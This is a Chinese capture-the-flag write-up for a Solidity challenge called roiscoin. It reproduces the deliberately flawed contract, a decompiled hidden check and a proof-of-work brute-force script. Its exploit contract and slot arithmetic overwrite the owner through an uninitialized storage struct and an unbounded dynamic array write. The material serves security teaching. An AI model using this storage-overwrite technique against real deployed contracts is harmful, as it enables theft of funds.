目录
web
占坑,等 wp 复现下,这次比赛之后我发现我根本不会 web,哭哭。
roiscoin
这题挺巧妙的,大概思路是要先解锁 codex 那个可变数组,用可变数组任意变量覆盖,从而把 owner 变成自己的地址。这个题不仅用发外部地址的方法解决了抄作业的问题,在合约代码的编写上还参考了一些经典蜜罐 23333,可以感受到出题人用心了。
首先 nc 连接上题目,要算爆破一个哈希,但是比较坑的是格式问题,试了一会儿才试出来,脚本:
# py2
from hashlib import sha256
for i in range(10000000):
s = str(i) + "13c0fcadf33dc5169f35d53f558d978e".decode("hex")
h = sha256(s).hexdigest()
if h[-5:] == "00000":
print(i, s, h)
res = ""
for bit in str(i):
res = res + "3" + str(bit)
print res
break
连上去之后先申请个外部地址,用给的 token 再申请个合约,去 etherscan 上可以查看交易进度,等交易完成就得到合约地址了;交互界面还能得到源码,不过和这个源码有坑点,之后会提到:
pragma solidity ^0.4.23;
contract FakeOwnerGame {
event SendFlag(address _addr);
uint randomNumber = 0;
uint time = now;
mapping (address => uint) public BalanceOf;
mapping (address => uint) public WinCount;
mapping (address => uint) public FailCount;
bytes32[] public codex;
address private owner;
uint256 settlementBlockNumber;
address guesser;
uint8 guess;
struct FailedLog {
uint failtag;
uint failtime;
uint success_count;
address origin;
uint fail_count;
bytes12 hash;
address msgsender;
}
mapping(address => FailedLog[]) FailedLogs;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function payforflag() onlyOwner {
require(BalanceOf[msg.sender] >= 2000);
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}
function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
if (guess == answer) {
WinCount[msg.sender] += 1;
BalanceOf[msg.sender] += 1000;
} else {
FailCount[msg.sender] += 1;
}
if (WinCount[msg.sender] == 2) {
if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) {
guesser = 0;
WinCount[msg.sender] = 0;
FailCount[msg.sender] = 0;
msg.sender.transfer(address(this).balance);
} else {
FailedLog failedlog;
failedlog.failtag = 1;
failedlog.failtime = now;
failedlog.success_count = WinCount[msg.sender];
failedlog.origin = tx.origin;
failedlog.fail_count = FailCount[msg.sender];
failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender]));
failedlog.msgsender = msg.sender;
FailedLogs[msg.sender].push(failedlog);
}
}
}
function beOwner() payable {
require(address(this).balance > 0);
if(msg.value >= address(this).balance){
owner = msg.sender;
}
}
function revise(uint idx, bytes32 tmp) {
codex[idx] = tmp;
}
}
首先还是先看 getflag 的条件,balance > 2000、必须是 owner。owner 似乎好办,beOwner() 似乎就可以提供这样的服务,但是经过一番尝试会发现 if 里面的代码从来没执行过,仔细一想这其实跟之前看过的一个蜜罐很像,因为在给合约打钱之后,合约的余额会立马刷新,我们打过去的钱肯定永远小于等于合约的钱。但是其实可以看到出题人在判断余额的时候用的 >=,也就是说如果我们下发完合约就执行beOwner() 是可以执行成功的(后面跟出题人讨论了下确认是非预期)。
这里先不讨论非预期的做法(假设代码里是 >),稍微看看其他的函数会发现没有能够改变 owner 值的函数,那也就是说我们只能通过 slot 覆盖来改变 owner 的值。那这题目里又有哪些可以覆盖的地方呢?
首先最明显的就是在 settle() 里面定义的结构体,由于没有声明存储位置,结构体默认会存储在 storage 上,从而导致变量覆盖,这里等于是覆盖 slot0 – slot5,但是 owner 在 slot6,所以这只是第一步,我们还需要别的地方打配合。
其次可以看到有个 codex 可变数组,似乎没什么功能,但是我们可以覆盖掉 slot5,slot5 刚好记录了这个可变数组的长度,而覆盖掉 slot5 的高位是交互地址。也就是说我们如果能让账户开头为 0xff,那基本可以覆盖掉任意地址。
于是生成一个 0xff 开头的外部地址(怎么生成请看下文),似乎万事俱备了,接下来就是怎么触发第一个变量覆盖。
第一个变量覆盖的位置在 setter(),调用这个函数需要地址等于 gusser,于是要先调用 lockInGuess() 并给合约打一块钱。这里看看源码就知道其实是个猜数的功能,但是不要被 uint8 迷惑了,猜数的结果是 mod 2 的,也就是结果只有 0 和 1,随便选一个多调用几次就可以满足 WinCount[msg.sender] == 2(刚做的时候脸黑连续七次都是失败,一度怀疑源码),这时第一次变量覆盖被触发,codex 的长度被重写成一个 0xff 开头的数,但是这时当我们调用 revise() 会发现交易成功,但是变量并没有写到链上,这里我本地又搭了个基本一致的环境,却发现跟远程结果不一样。既然相同操作结果不一样,那必然是代码的问题,于是去反编译下合约,找到签名为 0339f300(sha3(“revise(uint, bytes32)”))的函数,发现源码确实不一样:
def unknown0339f300(uint256 _param1, uint256 _param2): # not payable
if 97 and caller == 97:
if caller != tx.origin:
require _param1 < unknown94bd7569.length
unknown94bd7569[_param1].field_0 = _param2
这里源码藏了两个条件,一个是 caller 的后两位必须是 97(0x61),还有就是必须通过合约调用。于是我们需要一个外部地址,这个外部地址部署的第一个合约必须以 0xff 开头并以 0x61 结尾。
关于生成合约地址或者外部地址请看 pika 师傅的这篇文章,这里由于我没装上环境,傅总帮忙魔改了下写了个多线程版本(傅总 tql),大概是两分钟出一个。
有了合约把相关操作绑定到攻击合约上,我瞎写了个 exp:
contract exp{
FakeOwnerGame target = FakeOwnerGame(0x089A7b31A3988FaF5286E5dD043379422cCc5AB6);
function guess()public payable{
target.lockInGuess.value(1 ether)(1);
}
function repeat() public{
// 要调用好几次,直到 balance 大于 2000
target.settle();
}
function flag() public {
target.payforflag();
}
function fugai(uint idx, bytes32 tmp) public{
target.revise(idx, tmp);
}
}
最后覆盖掉 slot6 就可以了,这里 codex 的初始地址是 slot5,所以对应的 storage 上的地址是 sha3(“0000000000000000000000000000000000000000000000000000000000000005”),即 0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0,既然我们要复写到 slot6,就可以计算0x10000000000000000000000000000000000000000000000000000000000000006 – 0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0,结果等于 0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c256,所以我们的参数是 0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c256,合约地址。

踩踩踩,膜膜膜
pikapika!